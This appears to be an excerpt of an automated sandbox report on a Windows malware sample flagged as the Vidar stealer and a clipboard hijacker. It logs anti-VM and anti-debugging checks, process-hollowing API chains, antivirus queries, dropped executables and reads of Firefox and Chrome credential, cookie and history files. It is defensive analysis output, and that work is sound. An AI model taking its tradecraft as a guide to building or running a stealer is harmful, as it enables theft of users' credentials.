Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\

Source: lzShU2RYJa.exe, 00000001.00000002.1661223288.0000000000830000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW:2Q`
Source: lzShU2RYJa.exe, 00000006.00000003.1689411100.0000000000683000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000006.00000002.4098404527.0000000000683000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW9
Source: lzShU2RYJa.exe, 00000001.00000002.1661223288.0000000000819000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: lzShU2RYJa.exe, 00000004.00000003.1680158138.0000000000852000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000002.2199555407.0000000000852000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.1680687620.0000000000852000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW[
Source: lzShU2RYJa.exe, 00000004.00000003.1760556929.0000000009A82000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.
Source: lzShU2RYJa.exe, 00000004.00000003.1763057293.0000000009A80000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 10/03/2023 13:09:52.535OFFICECL (0x2394)0x12d8Telemetry EventbiyhqMediumSendEvent {"EventName": "Office.System.SystemHealthMetadataDeviceConsolidated", "Flags": 33777031581908737, "InternalSequenceNumber": 11, "Time": "2023-10-03T12:09:52Z", "Rule": "120600.4", "AriaTenantToken": "cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521", "Contract": "Office.Legacy.Metadata", "Data.ProcTypeText": "x64", "Data.ProcessorCount": 2, "Data.NumProcShareSingleCore": 1, "Data.NumProcShareSingleCache": 1, "Data.NumProcPhysCores": 2, "Data.ProcSpeedMHz": 2000, "Data.IsLaptop": false, "Data.IsTablet": false, "Data.RamMB": 4096, "Data.PowerPlatformRole": 1, "Data.SysVolSizeMB": 50000, "Data.DeviceManufacturer": "VMWare, Inc.", "Data.DeviceModel": "VMware20,1", "Data.DigitizerInfo": 0, "Data.SusClientId": "097C77FB-5D5D-4868-860B-09F4E5B50A53", "Data.WindowsSqmMachineId": "92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A", "Data.ComputerSystemProductUuidHash": "rC2kkStHpWGLvfAgmQZRz4w5ixE=", "Data.DeviceProcessorModel": "Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz", "Data.HasSpectreFix": true, "Data.BootDiskType": "SSD"}
Source: lzShU2RYJa.exe, 00000004.00000003.1760556929.0000000009A82000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VMware20,1
Source: lzShU2RYJa.exe, 00000004.00000002.2199555407.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWHW
Source: lzShU2RYJa.exe, 00000001.00000002.1661223288.0000000000819000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: lzShU2RYJa.exe, 00000001.00000002.1661223288.0000000000830000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.1680158138.0000000000852000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000002.2199555407.0000000000852000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.1680687620.0000000000852000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000006.00000003.1689411100.0000000000683000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000006.00000002.4098404527.00000000005F7000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000006.00000002.4098404527.0000000000683000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.00000000008F5000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000898000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 0000000B.00000002.1825155531.000000000073B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: build2.exe, 00000008.00000002.1936973508.0000000000898000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: lzShU2RYJa.exe, 00000018.00000003.2082466740.00000000008A5000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000018.00000002.2083913179.00000000008A5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: build2.exe, 00000008.00000002.1936973508.0000000000898000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwarel
Source: lzShU2RYJa.exe, 00000001.00000002.1661223288.0000000000808000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: lzShU2RYJa.exe, 0000000B.00000002.1825155531.00000000006A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Users\user\Desktop\lzShU2RYJa.exe

API call chain: ExitProcess graph end node

graph_1-39523

Source: C:\Users\user\Desktop\lzShU2RYJa.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\lzShU2RYJa.exe

Code function: 0_2_044E171C rdtsc

0_2_044E171C

Source: C:\Users\user\Desktop\lzShU2RYJa.exe

Code function: 0_2_0040A334 IsDebuggerPresent,

0_2_0040A334

Source: C:\Users\user\Desktop\lzShU2RYJa.exe

Code function: 1_2_0042A57A EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

1_2_0042A57A

Source: C:\Users\user\Desktop\lzShU2RYJa.exe

4_2_00481920

Source: C:\Users\user\Desktop\lzShU2RYJa.exe

1_2_00412220

Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_044E00A3 push dword ptr fs:[00000030h]	0_2_044E00A3
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_05E20042 push dword ptr fs:[00000030h]	0_2_05E20042
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 3_2_043EE0A3 push dword ptr fs:[00000030h]	3_2_043EE0A3
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 3_2_05E00042 push dword ptr fs:[00000030h]	3_2_05E00042

Source: C:\Users\user\Desktop\lzShU2RYJa.exe

Code function: 0_2_004059E2 GetProcessHeap,

0_2_004059E2

Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 0_2_0040A2BF SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0040A2BF
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_004329EC SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_004329EC
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_004329BB SetUnhandledExceptionFilter,	1_2_004329BB
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_004329EC SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_004329EC
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_004329BB SetUnhandledExceptionFilter,	4_2_004329BB

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\lzShU2RYJa.exe

Code function: 0_2_05E20110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,

0_2_05E20110

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Memory written: C:\Users\user\Desktop\lzShU2RYJa.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Memory written: C:\Users\user\Desktop\lzShU2RYJa.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Memory written: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Memory written: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Memory written: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build3.exe	Memory written: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build3.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Memory written: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Memory written: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Memory written: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Memory written: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Memory written: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe base: 400000 value starts with: 4D5A

Source: C:\Users\user\Desktop\lzShU2RYJa.exe

Code function: 1_2_00419F90 GetCurrentProcess,GetLastError,GetLastError,SetPriorityClass,GetLastError,GetModuleFileNameW,PathRemoveFileSpecW,GetCommandLineW,CommandLineToArgvW,lstrcpyW,lstrcmpW,lstrcmpW,lstrcpyW,lstrcpyW,lstrcmpW,lstrcmpW,GlobalFree,lstrcpyW,lstrcpyW,OpenProcess,WaitForSingleObject,CloseHandle,Sleep,GlobalFree,GetCurrentProcess,GetExitCodeProcess,TerminateProcess,CloseHandle,lstrcatW,GetVersion,lstrcpyW,lstrcatW,lstrcatW,_memset,ShellExecuteExW,CreateThread,lstrlenA,lstrcatW,_malloc,lstrcatW,_memset,lstrcatW,MultiByteToWideChar,lstrcatW,lstrlenW,CreateThread,WaitForSingleObject,CreateMutexA,CreateMutexA,lstrlenA,lstrcpyA,_memmove,_memmove,_memmove,GetUserNameW,GetMessageW,GetMessageW,DispatchMessageW,TranslateMessage,TranslateMessage,DispatchMessageW,GetMessageW,PostThreadMessageW,PeekMessageW,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,CloseHandle,

1_2_00419F90

Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Process created: C:\Users\user\Desktop\lzShU2RYJa.exe "C:\Users\user\Desktop\lzShU2RYJa.exe"	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Process created: C:\Users\user\Desktop\lzShU2RYJa.exe "C:\Users\user\Desktop\lzShU2RYJa.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Process created: C:\Users\user\Desktop\lzShU2RYJa.exe "C:\Users\user\Desktop\lzShU2RYJa.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Process created: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe "C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe"	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Process created: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build3.exe "C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Process created: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe --Task
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Process created: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe "C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe"
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Process created: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe "C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe" --AutoStart
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build3.exe	Process created: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build3.exe "C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build3.exe"
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Process created: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe "C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe" --AutoStart
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe

Source: C:\Users\user\Desktop\lzShU2RYJa.exe

Code function: 0_2_05E480F6 cpuid

0_2_05E480F6

Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	0_2_05E60AB6
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: _LcidFromHexString,GetLocaleInfoW,_TestDefaultLanguage,	1_2_00438178
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	1_2_00440116
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: _wcscmp,_wcscmp,GetLocaleInfoW,GetLocaleInfoW,GetACP,	1_2_004382A2
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,	1_2_0043834F
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: _memset,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,___crtDownlevelLCIDToLocaleName,___crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,__itow_s,	1_2_00438423
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: EnumSystemLocalesW,	1_2_004387C8
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: GetLocaleInfoW,	1_2_0043884E
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: _TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromDefault,IsValidCodePage,_wcschr,_wcschr,__itow_s,_LcidFromHexString,GetLocaleInfoW,	1_2_00437BB3
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: EnumSystemLocalesW,	1_2_00437E27
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	1_2_00437E83
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	1_2_00437F00
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: _LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,__wcsnicmp,GetLocaleInfoW,_TestDefaultLanguage,	1_2_00437F83
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	3_2_05E40AB6
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: _LcidFromHexString,GetLocaleInfoW,_TestDefaultLanguage,	4_2_00438178
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	4_2_00440116
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: _wcscmp,_wcscmp,GetLocaleInfoW,GetLocaleInfoW,GetACP,	4_2_004382A2
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,	4_2_0043834F
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: _memset,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,___crtDownlevelLCIDToLocaleName,___crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,__itow_s,	4_2_00438423
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: EnumSystemLocalesW,	4_2_004387C8
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: GetLocaleInfoW,	4_2_0043884E
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: _TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromDefault,IsValidCodePage,_wcschr,_wcschr,__itow_s,__invoke_watson,_LcidFromHexString,GetLocaleInfoW,	4_2_00437BB3
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: EnumSystemLocalesW,	4_2_00437E27
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	4_2_00437E83
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	4_2_00437F00
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: _LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,__wcsnicmp,GetLocaleInfoW,_TestDefaultLanguage,	4_2_00437F83

Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\lzShU2RYJa.exe

Code function: 0_2_00409D8B GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00409D8B

Source: C:\Users\user\Desktop\lzShU2RYJa.exe

1_2_00419F90

Source: C:\Users\user\Desktop\lzShU2RYJa.exe

Code function: 1_2_0042FE47 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

1_2_0042FE47

Source: C:\Users\user\Desktop\lzShU2RYJa.exe

1_2_00419F90

Source: C:\Users\user\Desktop\lzShU2RYJa.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: build2.exe, 00000008.00000002.1936973508.0000000000898000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected Clipboard Hijacker

Source: Yara match	File source: 19.2.mstsca.exe.9215a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.mstsca.exe.8e15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.build3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.mstsca.exe.a715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.build3.exe.8915a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.build3.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.mstsca.exe.8f15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001D.00000002.3044271197.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3649759397.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.1908589988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.3045202111.0000000000A70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.4097695967.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2007782778.0000000000920000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2400360433.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1907561192.0000000000890000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2400866034.00000000008E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3650468673.00000000008F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Vidar stealer

Source: Yara match	File source: 8.2.build2.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.build2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.build2.exe.1aa15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.build2.exe.1aa15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.1936229908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1750385027.0000000001AA0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: build2.exe PID: 7648, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: build2.exe PID: 7664, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\ExperimentStoreData.json	Jump to behavior
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\shield-preference-experiments.json	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\handlers.json	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\protections.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\Telemetry.FailedProfileLocks.txt	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addonStartup.json.lz4	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\content-prefs.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addons.json	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\targeting.snapshot.json	Jump to behavior
